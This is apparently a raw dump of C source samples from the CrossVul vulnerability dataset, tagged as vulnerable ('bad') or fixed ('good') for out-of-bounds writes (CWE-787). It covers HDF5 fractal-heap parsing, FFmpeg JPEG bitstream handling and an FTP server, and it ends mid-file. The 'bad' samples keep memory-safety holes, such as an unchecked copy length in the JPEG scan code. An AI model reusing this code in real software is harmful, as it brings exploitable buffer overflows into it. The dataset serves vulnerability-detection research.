0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb15, 113, 2}, {0xfb13, 121, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb05, 29, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb03, 0, 3}, {0xfb01, 8, 2} }; if (0 == 0) { int key = hash(&code); if (key <= MAX_HASH_VALUE && key >= 0) { OnigCodePoint gcode = wordlist[key].code; if (code == gcode) return &wordlist[key]; } } return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3373_1
crossvul-cpp_data_good_1338_0
/* Copyright 2016 Christian Hoene, Symonics GmbH */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> #include <errno.h> #include <assert.h> #include <inttypes.h> #include "reader.h" static int log2i(int a) { return round(log2(a)); } static int directblockRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap) { char buf[4], *name, *value; int size, offset_size, length_size, err, len; uint8_t typeandversion; uint64_t unknown, heap_header_address, block_offset, block_size, offset, length; long store; struct DIR *dir; struct MYSOFA_ATTRIBUTE *attr; UNUSED(offset); UNUSED(block_size); UNUSED(block_offset); if(reader->recursive_counter >= 10) return MYSOFA_INVALID_FORMAT; else reader->recursive_counter++; /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FHDB", 4)) { log("cannot read signature of fractal heap indirect block\n"); return MYSOFA_INVALID_FORMAT; } log("%08" PRIX64 " %.4s stack %d\n", (uint64_t )ftell(reader->fhd) - 4, buf, reader->recursive_counter); if (fgetc(reader->fhd) != 0) { log("object FHDB must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* ignore heap_header_address */ if (fseek(reader->fhd, reader->superblock.size_of_offsets, SEEK_CUR) < 0) return errno; size = (fractalheap->maximum_heap_size + 7) / 8; block_offset = readValue(reader, size); if (fractalheap->flags & 2) if (fseek(reader->fhd, 4, SEEK_CUR)) return errno; offset_size = ceilf(log2f(fractalheap->maximum_heap_size) / 8); if (fractalheap->maximum_direct_block_size < fractalheap->maximum_size) length_size = ceilf(log2f(fractalheap->maximum_direct_block_size) / 8); else length_size = ceilf(log2f(fractalheap->maximum_size) / 8); log(" %d %" PRIu64 " %d\n",size,block_offset,offset_size); /* * 00003e00 00 46 48 44 42 00 40 02 00 00 00 00 00 00 00 00 |.FHDB.@.........| 00003e10 00 00 00 83 8d ac f6 >03 00 0c 00 08 00 04 00 00 |................| 00003e20 43 6f 6e 76 65 6e 74 69 6f 6e 73 00 13 00 00 00 |Conventions.....| 00003e30 04 00 00 00 02 00 00 00 53 4f 46 41< 03 00 08 00 |........SOFA....| 00003e40 08 00 04 00 00 56 65 72 73 69 6f 6e 00 13 00 00 |.....Version....| 00003e50 00 03 00 00 00 02 00 00 00 30 2e 36 03 00 10 00 |.........0.6....| 00003e60 08 00 04 00 00 53 4f 46 41 43 6f 6e 76 65 6e 74 |.....SOFAConvent| 00003e70 69 6f 6e 73 00 13 00 00 00 13 00 00 00 02 00 00 |ions............| 00003e80 00 53 69 6d 70 6c 65 46 72 65 65 46 69 65 6c 64 |.SimpleFreeField| 00003e90 48 52 49 52 03 00 17 00 08 00 04 00 00 53 4f 46 |HRIR.........SOF| 00003ea0 41 43 6f 6e 76 65 6e 74 69 6f 6e 73 56 65 72 73 |AConventionsVers| 00003eb0 69 6f 6e 00 13 00 00 00 03 00 00 00 02 00 00 00 |ion.............| * */ do { typeandversion = (uint8_t) fgetc(reader->fhd); offset = readValue(reader, offset_size); length = readValue(reader, length_size); if (offset > 0x10000000 || length > 0x10000000) return MYSOFA_UNSUPPORTED_FORMAT; log(" %d %4" PRIX64 " %" PRIX64 " %08lX\n",typeandversion,offset,length,ftell(reader->fhd)); /* TODO: for the following part, the specification is incomplete */ if (typeandversion == 3) { /* * this seems to be a name and value pair */ if (readValue(reader, 5) != 0x0000040008) { log("FHDB type 3 unsupported values"); return MYSOFA_UNSUPPORTED_FORMAT; } if (!(name = malloc(length+1))) return MYSOFA_NO_MEMORY; if (fread(name, 1, length, reader->fhd) != length) { free(name); return MYSOFA_READ_ERROR; } name[length]=0; if (readValue(reader, 4) != 0x00000013) { log("FHDB type 3 unsupported values"); free(name); return MYSOFA_UNSUPPORTED_FORMAT; } len = (int) readValue(reader, 2); if (len > 0x1000 || len < 0) { free(name); return MYSOFA_UNSUPPORTED_FORMAT; } /* TODO: Get definition of this field */ unknown = readValue(reader, 6); if (unknown == 0x000000020200) value = NULL; else if (unknown == 0x000000020000) { if (!(value = malloc(len + 1))) { free(name); return MYSOFA_NO_MEMORY; } if (fread(value, 1, len, reader->fhd) != len) { free(value); free(name); return MYSOFA_READ_ERROR; } value[len] = 0; } else if (unknown == 0x20000020000) { if (!(value = malloc(5))) { free(name); return MYSOFA_NO_MEMORY; } strcpy(value, ""); } else { log("FHDB type 3 unsupported values: %12" PRIX64 "\n",unknown); free(name); /* TODO: return MYSOFA_UNSUPPORTED_FORMAT; */ return MYSOFA_OK; } log(" %s = %s\n", name, value); attr = malloc(sizeof(struct MYSOFA_ATTRIBUTE)); attr->name = name; attr->value = value; attr->next = dataobject->attributes; dataobject->attributes = attr; } else if (typeandversion == 1) { /* * pointer to another data object */ unknown = readValue(reader, 6); if (unknown) { log("FHDB type 1 unsupported values\n"); return MYSOFA_UNSUPPORTED_FORMAT; } len = fgetc(reader->fhd); if (len < 0) return MYSOFA_READ_ERROR; assert(len < 0x100); if (!(name = malloc(len + 1))) return MYSOFA_NO_MEMORY; if (fread(name, 1, len, reader->fhd) != len) { free(name); return MYSOFA_READ_ERROR; } name[len] = 0; heap_header_address = readValue(reader, reader->superblock.size_of_offsets); log("\nfractal head type 1 length %4" PRIX64 " name %s address %" PRIX64 "\n", length, name, heap_header_address); dir = malloc(sizeof(struct DIR)); if (!dir) { free(name); return MYSOFA_NO_MEMORY; } memset(dir, 0, sizeof(*dir)); dir->next = dataobject->directory; dataobject->directory = dir; store = ftell(reader->fhd); if (fseek(reader->fhd, heap_header_address, SEEK_SET)) { free(name); return errno; } err = dataobjectRead(reader, &dir->dataobject, name); if (err) { return err; } if (store < 0) { return errno; } if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } else if (typeandversion != 0) { /* TODO is must be avoided somehow */ log("fractal head unknown type %d\n", typeandversion); /* return MYSOFA_UNSUPPORTED_FORMAT; */ return MYSOFA_OK; } } while (typeandversion != 0); reader->recursive_counter--; return MYSOFA_OK; } /* III.G. Disk Format: Level 1G - Fractal Heap * indirect block */ static int indirectblockRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap, uint64_t iblock_size) { int size, nrows, max_dblock_rows, k, n, err; uint32_t filter_mask; uint64_t heap_header_address, block_offset, child_direct_block = 0, size_filtered, child_indirect_block; long store; char buf[4]; UNUSED(size_filtered); UNUSED(heap_header_address); UNUSED(filter_mask); /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FHIB", 4)) { log("cannot read signature of fractal heap indirect block\n"); return MYSOFA_INVALID_FORMAT; } log("%08" PRIX64 " %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf); if (fgetc(reader->fhd) != 0) { log("object FHIB must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* ignore it */ heap_header_address = readValue(reader, reader->superblock.size_of_offsets); size = (fractalheap->maximum_heap_size + 7) / 8; block_offset = readValue(reader, size); if (block_offset) { log("FHIB block offset is not 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* The number of rows of blocks, nrows, in an indirect block of size iblock_size is given by the following expression: */ nrows = (log2i(iblock_size) - log2i(fractalheap->starting_block_size)) + 1; /* The maximum number of rows of direct blocks, max_dblock_rows, in any indirect block of a fractal heap is given by the following expression: */ max_dblock_rows = (log2i(fractalheap->maximum_direct_block_size) - log2i(fractalheap->starting_block_size)) + 2; /* Using the computed values for nrows and max_dblock_rows, along with the Width of the doubling table, the number of direct and indirect block entries (K and N in the indirect block description, below) in an indirect block can be computed: */ if (nrows < max_dblock_rows) k = nrows * fractalheap->table_width; else k = max_dblock_rows * fractalheap->table_width; /* If nrows is less than or equal to max_dblock_rows, N is 0. Otherwise, N is simply computed: */ n = k - (max_dblock_rows * fractalheap->table_width); while (k > 0) { child_direct_block = readValue(reader, reader->superblock.size_of_offsets); if (fractalheap->encoded_length > 0) { size_filtered = readValue(reader, reader->superblock.size_of_lengths); filter_mask = readValue(reader, 4); } log(">> %d %" PRIX64 " %d\n",k,child_direct_block,size); if (validAddress(reader, child_direct_block)) { store = ftell(reader->fhd); if (fseek(reader->fhd, child_direct_block, SEEK_SET) < 0) return errno; err = directblockRead(reader, dataobject, fractalheap); if (err) return err; if (store < 0) return MYSOFA_READ_ERROR; if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } k--; } while (n > 0) { child_indirect_block = readValue(reader, reader->superblock.size_of_offsets); if (validAddress(reader, child_direct_block)) { store = ftell(reader->fhd); if (fseek(reader->fhd, child_indirect_block, SEEK_SET) < 0) return errno; err = indirectblockRead(reader, dataobject, fractalheap, iblock_size * 2); if (err) return err; if (store < 0) return MYSOFA_READ_ERROR; if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } n--; } return MYSOFA_OK; } /* III.G. Disk Format: Level 1G - Fractal Heap 00000240 46 52 48 50 00 08 00 00 00 02 00 10 00 00 00 00 |FRHP............| 00000250 00 00 00 00 00 00 ff ff ff ff ff ff ff ff a3 0b |................| 00000260 00 00 00 00 00 00 1e 03 00 00 00 00 00 00 00 10 |................| 00000270 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 |................| 00000280 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 00 |................| 00000290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 |................| 000002b0 00 04 00 00 00 00 00 00 00 00 01 00 00 00 00 00 |................| 000002c0 28 00 01 00 29 32 00 00 00 00 00 00 01 00 60 49 |(...)2........`I| 000002d0 32 1d 42 54 48 44 00 08 00 02 00 00 11 00 00 00 |2.BTHD..........| */ int fractalheapRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap) { int err; char buf[4]; /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FRHP", 4)) { log("cannot read signature of fractal heap\n"); return MYSOFA_UNSUPPORTED_FORMAT; } log("%" PRIX64 " %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf); if (fgetc(reader->fhd) != 0) { log("object fractal heap must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } fractalheap->heap_id_length = (uint16_t) readValue(reader, 2); fractalheap->encoded_length = (uint16_t) readValue(reader, 2); if (fractalheap->encoded_length > 0x8000) return MYSOFA_UNSUPPORTED_FORMAT; fractalheap->flags = (uint8_t) fgetc(reader->fhd); fractalheap->maximum_size = (uint32_t) readValue(reader, 4); fractalheap->next_huge_object_id = readValue(reader, reader->superblock.size_of_lengths); fractalheap->btree_address_of_huge_objects = readValue(reader, reader->superblock.size_of_offsets); fractalheap->free_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->address_free_space = readValue(reader, reader->superblock.size_of_offsets); fractalheap->amount_managed_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->amount_allocated_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->offset_managed_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_managed_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->size_huge_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_huge_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->size_tiny_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_tiny_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->table_width = (uint16_t) readValue(reader, 2); fractalheap->starting_block_size = readValue(reader, reader->superblock.size_of_lengths); fractalheap->maximum_direct_block_size = readValue(reader, reader->superblock.size_of_lengths); fractalheap->maximum_heap_size = (uint16_t) readValue(reader, 2); fractalheap->starting_row = (uint16_t) readValue(reader, 2); fractalheap->address_of_root_block = readValue(reader, reader->superblock.size_of_offsets); fractalheap->current_row = (uint16_t) readValue(reader, 2); if (fractalheap->encoded_length > 0) { fractalheap->size_of_filtered_block = readValue(reader, reader->superblock.size_of_lengths); fractalheap->fitler_mask = (uint32_t) readValue(reader, 4); fractalheap->filter_information = malloc(fractalheap->encoded_length); if (!fractalheap->filter_information) return MYSOFA_NO_MEMORY; if (fread(fractalheap->filter_information, 1, fractalheap->encoded_length, reader->fhd) != fractalheap->encoded_length) { free(fractalheap->filter_information); return MYSOFA_READ_ERROR; } } if (fseek(reader->fhd, 4, SEEK_CUR) < 0) { /* skip checksum */ return MYSOFA_READ_ERROR; } if (fractalheap->number_huge_objects) { log("cannot handle huge objects\n"); return MYSOFA_UNSUPPORTED_FORMAT; } if (fractalheap->number_tiny_objects) { log("cannot handle tiny objects\n"); return MYSOFA_UNSUPPORTED_FORMAT; } if (validAddress(reader, fractalheap->address_of_root_block)) { if (fseek(reader->fhd, fractalheap->address_of_root_block, SEEK_SET) < 0) return errno; if (fractalheap->current_row) err = indirectblockRead(reader, dataobject, fractalheap, fractalheap->starting_block_size); else { err = directblockRead(reader, dataobject, fractalheap); } if (err) return err; } return MYSOFA_OK; } void fractalheapFree(struct FRACTALHEAP *fractalheap) { free(fractalheap->filter_information); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1338_0
crossvul-cpp_data_bad_3991_0
/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "cbs.h" #include "cbs_internal.h" #include "cbs_jpeg.h" #define HEADER(name) do { \ ff_cbs_trace_header(ctx, name); \ } while (0) #define CHECK(call) do { \ err = (call); \ if (err < 0) \ return err; \ } while (0) #define SUBSCRIPTS(subs, ...) (subs > 0 ? ((int[subs + 1]){ subs, __VA_ARGS__ }) : NULL) #define u(width, name, range_min, range_max) \ xu(width, name, range_min, range_max, 0) #define us(width, name, sub, range_min, range_max) \ xu(width, name, range_min, range_max, 1, sub) #define READ #define READWRITE read #define RWContext GetBitContext #define FUNC(name) cbs_jpeg_read_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value; \ CHECK(ff_cbs_read_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ &value, range_min, range_max)); \ current->name = value; \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef READ #undef READWRITE #undef RWContext #undef FUNC #undef xu #define WRITE #define READWRITE write #define RWContext PutBitContext #define FUNC(name) cbs_jpeg_write_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value = current->name; \ CHECK(ff_cbs_write_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ value, range_min, range_max)); \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef WRITE #undef READWRITE #undef RWContext #undef FUNC #undef xu static void cbs_jpeg_free_application_data(void *opaque, uint8_t *content) { JPEGRawApplicationData *ad = (JPEGRawApplicationData*)content; av_buffer_unref(&ad->Ap_ref); av_freep(&content); } static void cbs_jpeg_free_comment(void *opaque, uint8_t *content) { JPEGRawComment *comment = (JPEGRawComment*)content; av_buffer_unref(&comment->Cm_ref); av_freep(&content); } static void cbs_jpeg_free_scan(void *opaque, uint8_t *content) { JPEGRawScan *scan = (JPEGRawScan*)content; av_buffer_unref(&scan->data_ref); av_freep(&content); } static int cbs_jpeg_split_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag, int header) { AVBufferRef *data_ref; uint8_t *data; size_t data_size; int unit, start, end, marker, next_start, next_marker; int err, i, j, length; if (frag->data_size < 4) { // Definitely too short to be meaningful. return AVERROR_INVALIDDATA; } for (i = 0; i + 1 < frag->data_size && frag->data[i] != 0xff; i++); if (i > 0) { av_log(ctx->log_ctx, AV_LOG_WARNING, "Discarding %d bytes at " "beginning of image.\n", i); } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size && frag->data[i]) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no SOI marker found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; if (marker != JPEG_MARKER_SOI) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: first " "marker is %02x, should be SOI.\n", marker); return AVERROR_INVALIDDATA; } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no image content found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; start = i + 1; for (unit = 0;; unit++) { if (marker == JPEG_MARKER_EOI) { break; } else if (marker == JPEG_MARKER_SOS) { for (i = start; i + 1 < frag->data_size; i++) { if (frag->data[i] != 0xff) continue; end = i; for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { if (frag->data[i] == 0x00) continue; next_marker = frag->data[i]; next_start = i + 1; } break; } } else { i = start; if (i + 2 > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker.\n", marker); return AVERROR_INVALIDDATA; } length = AV_RB16(frag->data + i); if (i + length > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker segment.\n", marker); return AVERROR_INVALIDDATA; } end = start + length; i = end; if (frag->data[i] != 0xff) { next_marker = -1; } else { for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { next_marker = frag->data[i]; next_start = i + 1; } } } if (marker == JPEG_MARKER_SOS) { length = AV_RB16(frag->data + start); data_ref = NULL; data = av_malloc(end - start + AV_INPUT_BUFFER_PADDING_SIZE); if (!data) return AVERROR(ENOMEM); memcpy(data, frag->data + start, length); for (i = start + length, j = length; i < end; i++, j++) { if (frag->data[i] == 0xff) { while (frag->data[i] == 0xff) ++i; data[j] = 0xff; } else { data[j] = frag->data[i]; } } data_size = j; memset(data + data_size, 0, AV_INPUT_BUFFER_PADDING_SIZE); } else { data = frag->data + start; data_size = end - start; data_ref = frag->data_ref; } err = ff_cbs_insert_unit_data(ctx, frag, unit, marker, data, data_size, data_ref); if (err < 0) return err; if (next_marker == -1) break; marker = next_marker; start = next_start; } return 0; } static int cbs_jpeg_read_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit) { GetBitContext gbc; int err; err = init_get_bits(&gbc, unit->data, 8 * unit->data_size); if (err < 0) return err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawFrameHeader), NULL); if (err < 0) return err; err = cbs_jpeg_read_frame_header(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawApplicationData), &cbs_jpeg_free_application_data); if (err < 0) return err; err = cbs_jpeg_read_application_data(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type == JPEG_MARKER_SOS) { JPEGRawScan *scan; int pos; err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawScan), &cbs_jpeg_free_scan); if (err < 0) return err; scan = unit->content; err = cbs_jpeg_read_scan_header(ctx, &gbc, &scan->header); if (err < 0) return err; pos = get_bits_count(&gbc); av_assert0(pos % 8 == 0); if (pos > 0) { scan->data_size = unit->data_size - pos / 8; scan->data_ref = av_buffer_ref(unit->data_ref); if (!scan->data_ref) return AVERROR(ENOMEM); scan->data = unit->data + pos / 8; } } else { switch (unit->type) { #define SEGMENT(marker, type, func, free) \ case JPEG_MARKER_ ## marker: \ { \ err = ff_cbs_alloc_unit_content(ctx, unit, \ sizeof(type), free); \ if (err < 0) \ return err; \ err = cbs_jpeg_read_ ## func(ctx, &gbc, unit->content); \ if (err < 0) \ return err; \ } \ break SEGMENT(DQT, JPEGRawQuantisationTableSpecification, dqt, NULL); SEGMENT(DHT, JPEGRawHuffmanTableSpecification, dht, NULL); SEGMENT(COM, JPEGRawComment, comment, &cbs_jpeg_free_comment); #undef SEGMENT default: return AVERROR(ENOSYS); } } return 0; } static int cbs_jpeg_write_scan(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { JPEGRawScan *scan = unit->content; int err; err = cbs_jpeg_write_scan_header(ctx, pbc, &scan->header); if (err < 0) return err; if (scan->data) { if (scan->data_size * 8 > put_bits_left(pbc)) return AVERROR(ENOSPC); av_assert0(put_bits_count(pbc) % 8 == 0); flush_put_bits(pbc); memcpy(put_bits_ptr(pbc), scan->data, scan->data_size); skip_put_bytes(pbc, scan->data_size); } return 0; } static int cbs_jpeg_write_segment(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { int err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = cbs_jpeg_write_frame_header(ctx, pbc, unit->content); } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = cbs_jpeg_write_application_data(ctx, pbc, unit->content); } else { switch (unit->type) { #define SEGMENT(marker, func) \ case JPEG_MARKER_ ## marker: \ err = cbs_jpeg_write_ ## func(ctx, pbc, unit->content); \ break; SEGMENT(DQT, dqt); SEGMENT(DHT, dht); SEGMENT(COM, comment); default: return AVERROR_PATCHWELCOME; } } return err; } static int cbs_jpeg_write_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { if (unit->type == JPEG_MARKER_SOS) return cbs_jpeg_write_scan (ctx, unit, pbc); else return cbs_jpeg_write_segment(ctx, unit, pbc); } static int cbs_jpeg_assemble_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag) { const CodedBitstreamUnit *unit; uint8_t *data; size_t size, dp, sp; int i; size = 4; // SOI + EOI. for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; size += 2 + unit->data_size; if (unit->type == JPEG_MARKER_SOS) { for (sp = 0; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) ++size; } } } frag->data_ref = av_buffer_alloc(size + AV_INPUT_BUFFER_PADDING_SIZE); if (!frag->data_ref) return AVERROR(ENOMEM); data = frag->data_ref->data; dp = 0; data[dp++] = 0xff; data[dp++] = JPEG_MARKER_SOI; for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; data[dp++] = 0xff; data[dp++] = unit->type; if (unit->type != JPEG_MARKER_SOS) { memcpy(data + dp, unit->data, unit->data_size); dp += unit->data_size; } else { sp = AV_RB16(unit->data); av_assert0(sp <= unit->data_size); memcpy(data + dp, unit->data, sp); dp += sp; for (; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) { data[dp++] = 0xff; data[dp++] = 0x00; } else { data[dp++] = unit->data[sp]; } } } } data[dp++] = 0xff; data[dp++] = JPEG_MARKER_EOI; av_assert0(dp == size); memset(data + size, 0, AV_INPUT_BUFFER_PADDING_SIZE); frag->data = data; frag->data_size = size; return 0; } const CodedBitstreamType ff_cbs_type_jpeg = { .codec_id = AV_CODEC_ID_MJPEG, .split_fragment = &cbs_jpeg_split_fragment, .read_unit = &cbs_jpeg_read_unit, .write_unit = &cbs_jpeg_write_unit, .assemble_fragment = &cbs_jpeg_assemble_fragment, };
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3991_0
crossvul-cpp_data_good_4260_0
/* FTP engine * * Copyright (c) 2014-2019 Joachim Nilsson <troglobit@gmail.com> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "uftpd.h" #include <ctype.h> #include <arpa/ftp.h> #ifdef HAVE_SYS_TIME_H # include <sys/time.h> #endif typedef struct { char *command; void (*cb)(ctrl_t *ctr, char *arg); } ftp_cmd_t; static ftp_cmd_t supported[]; static void do_PORT(ctrl_t *ctrl, int pending); static void do_LIST(uev_t *w, void *arg, int events); static void do_RETR(uev_t *w, void *arg, int events); static void do_STOR(uev_t *w, void *arg, int events); static int is_cont(char *msg) { char *ptr; ptr = strchr(msg, '\r'); if (ptr) { ptr++; if (strchr(ptr, '\r')) return 1; } return 0; } static int send_msg(int sd, char *msg) { int n = 0; int l; if (!msg) { err: ERR(EINVAL, "Missing argument to send_msg()"); return 1; } l = strlen(msg); if (l <= 0) goto err; while (n < l) { int result = send(sd, msg + n, l, 0); if (result < 0) { ERR(errno, "Failed sending message to client"); return 1; } n += result; } DBG("Sent: %s%s", is_cont(msg) ? "\n" : "", msg); return 0; } /* * Receive message from client, split into command and argument */ static int recv_msg(int sd, char *msg, size_t len, char **cmd, char **argument) { char *ptr; ssize_t bytes; uint8_t *raw = (uint8_t *)msg; /* Clear for every new command. */ memset(msg, 0, len); /* Save one byte (-1) for NUL termination */ bytes = recv(sd, msg, len - 1, 0); if (bytes < 0) { if (EINTR == errno) return 1; if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed reading client command"); return 1; } if (!bytes) { INFO("Client disconnected."); return 1; } if (raw[0] == 0xff) { char tmp[4]; char buf[20] = { 0 }; int i; i = recv(sd, &msg[bytes], len - bytes - 1, MSG_OOB | MSG_DONTWAIT); if (i > 0) bytes += i; for (i = 0; i < bytes; i++) { snprintf(tmp, sizeof(tmp), "%2X%s", raw[i], i + 1 < bytes ? " " : ""); strlcat(buf, tmp, sizeof(buf)); } strlcpy(msg, buf, len); *cmd = msg; *argument = NULL; DBG("Recv: [%s], %zd bytes", msg, bytes); return 0; } /* NUL terminate for strpbrk() */ msg[bytes] = 0; *cmd = msg; ptr = strpbrk(msg, " "); if (ptr) { *ptr = 0; ptr++; *argument = ptr; } else { *argument = NULL; ptr = msg; } ptr = strpbrk(ptr, "\r\n"); if (ptr) *ptr = 0; /* Convert command to std ftp upper case, issue #18 */ for (ptr = msg; *ptr; ++ptr) *ptr = toupper(*ptr); DBG("Recv: %s %s", *cmd, *argument ?: ""); return 0; } static int open_data_connection(ctrl_t *ctrl) { socklen_t len = sizeof(struct sockaddr); struct sockaddr_in sin; /* Previous PORT command from client */ if (ctrl->data_address[0]) { int rc; ctrl->data_sd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); if (-1 == ctrl->data_sd) { ERR(errno, "Failed creating data socket"); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(ctrl->data_port); inet_aton(ctrl->data_address, &(sin.sin_addr)); rc = connect(ctrl->data_sd, (struct sockaddr *)&sin, len); if (rc == -1 && EINPROGRESS != errno) { ERR(errno, "Failed connecting data socket to client"); close(ctrl->data_sd); ctrl->data_sd = -1; return -1; } DBG("Connected successfully to client's previously requested address:PORT %s:%d", ctrl->data_address, ctrl->data_port); return 0; } /* Previous PASV command, accept connect from client */ if (ctrl->data_listen_sd > 0) { const int const_int_1 = 1; int retries = 3; char client_ip[100]; retry: ctrl->data_sd = accept(ctrl->data_listen_sd, (struct sockaddr *)&sin, &len); if (-1 == ctrl->data_sd) { if (EAGAIN == errno && --retries) { sleep(1); goto retry; } ERR(errno, "Failed accepting connection from client"); return -1; } setsockopt(ctrl->data_sd, SOL_SOCKET, SO_KEEPALIVE, &const_int_1, sizeof(const_int_1)); set_nonblock(ctrl->data_sd); inet_ntop(AF_INET, &(sin.sin_addr), client_ip, 